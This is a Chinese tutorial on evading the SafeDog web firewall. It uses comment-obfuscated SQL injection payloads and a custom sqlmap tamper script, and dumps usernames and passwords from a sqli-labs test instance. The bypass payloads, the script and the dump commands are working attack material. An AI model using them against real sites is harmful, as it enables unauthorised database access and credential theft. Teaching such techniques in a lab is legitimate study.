奇安信攻防社区-记一次实战过狗注入 (butian.net)
https://www.freebuf.com/sectool/179035.html
本文仅用于技术讨论与学习
测试环境
最新版某狗
![null 图片[1]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131619.png)
![null 图片[2]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131620.png)
![null 图片[3]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131621.png)
测试方法
安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆
一招鲜吃遍天
注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%
等
这里再解释一下内联注释,因为后面要用到:
MySQL内联注释: /*!xxxxxxx*/
!后面的语句会当作SQL语句直接执行
但是如果!
后面跟着MySQL版本号,那么就会出现两种情况
- • 当
!
后面接的数据库版本号小于自身版本号,就会将注释中的内容执行 - • 当
!
后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。
数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553
![null 图片[4]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131622.png)
!
后面接小于50553的:
![null 图片[5]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316221.png)
执行了select 1;
!
后面接大于等于50553的:
![null 图片[6]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131623.png)
执行了 select ;
下面进入正题
bypass
and
and 1=1
拦
![null 图片[7]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316231.png)
但是把空格删掉就不拦了
![null 图片[8]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131624.png)
所以,我们认为,and后面不能直接跟空格…
那么如果用其他形式表示空格呢?
前面说了,我们这次只使用注释混淆:
burp,抓包设置
![null 图片[9]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316241.png)
![null 图片[10]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131625.png)
长度5335是被拦截的
![null 图片[11]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131626.png)
长度为899的说明成功绕过
![null 图片[12]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131628.png)
我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*
即:
->/*/*%**/
同理 ,or
是一样的:
![null 图片[13]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131629.png)
order by
![null 图片[14]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131630.png)
测试发现还是只要替换order by
中间的空格就可以了,所以绕过方法和前面一样:
![null 图片[15]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131632.png)
union select
![null 图片[16]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131636.png)
union select
使用之前的垃圾字符替换空格发现不行了:
![null 图片[17]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131638.png)
但是先不急于换方法,再爆破一遍试试:
![null 图片[18]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131640.png)
![null 图片[19]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131641.png)
发现又有很多可以绕过的了。
所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/
即:
->/*/!%!/*/
![null 图片[20]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131642.png)
获得当前数据库
正常语句:
?id=-1 union select 1,database(),3 --+
![null 图片[21]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131643.png)
绕过:
![null 图片[22]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131644.png)
即:()
->(/*/!%!/*/)
获取数据库中的表
正常语句:
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
![null 图片[23]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316441.png)
绕过:
经过测试发现拦截的是select + from + information_schema
的组合
![null 图片[24]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131645.png)
![null 图片[25]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131646.png)
中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。
对information_schema
进行混淆测试:
首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。
![null 图片[26]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131647.png)
考虑是检测了select + from + /*! + information_schema
的组合
加个换行试试
![null 图片[27]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131648.png)
还是不行…
那既然都换行了,那我们再在换行前加一些垃圾字符:
如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是
/**/
或#
或--+
但是经过测试只有
--+
好用
![null 图片[28]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131649.png)
有这么多可以绕过的,我们随便选择一个,比如/*%/
这样,最终语句如下:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+
![null 图片[29]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131651.png)
![null 图片[30]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131652.png)
获取表字段
正常语句:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
绕过语句:
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+
![null 图片[31]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316521.png)
获取字段信息
?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users
![null 图片[32]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131653.png)
成功。
编写tamper
当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:
![null 图片[33]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-16771316531.png)
网上有很多相关脚本的介绍,我就不一一介绍了。
虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。
Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。
我们随便打开一个Tamper脚本看一下它的结构:
#apostrophemask.py#!/usr/bin/env python"""Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""# 导入SQLMap中libcoreenums中的PRIORITY优先级函数from lib.core.enums import PRIORITY# 定义脚本优先级__priority__ = PRIORITY.LOWEST# 对当前脚本的介绍def dependencies(): pass'''对传进来的payload进行修改并返回函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。'''def tamper(payload, **kwargs): """ Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' """ return payload.replace(''', "%EF%BC%87") if payload else payload
可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。
下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:
实际测试的时候发现,sqlmap默认语句中的
AS
关键字也会被拦截,这里也用同样的方法替换一下就好
#!/usr/bin/env pythonimport refrom lib.core.settings import UNICODE_ENCODINGfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies(): passdef tamper(payload, **kwargs): if payload: payload = payload.replace(" ","/*/!%!/*/") payload = payload.replace("()","(/*/!%!/*/)") payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload) payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload) payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload) return payload
测试:
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent
![null 图片[34]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131654.png)
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables
![null 图片[35]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131656.png)
python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns
![null 图片[36]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131658.png)
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3
![null 图片[37]-手把手教你编写SQLMap的Tamper脚本过狗-NGC660 安全实验室](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-196598-1677131659.png)
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布:https://www.secpulse.com/archives/196598.html
昶之琴![资深玩家 徽章-资深玩家-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
我以为只要提交就行了好想告诉你![备受喜爱 徽章-备受喜爱-NGC660 安全实验室](http://ngc660.cn/wp-content/themes/zibll/img/thumbnail-null.svg)
2年前0
花巨资看一下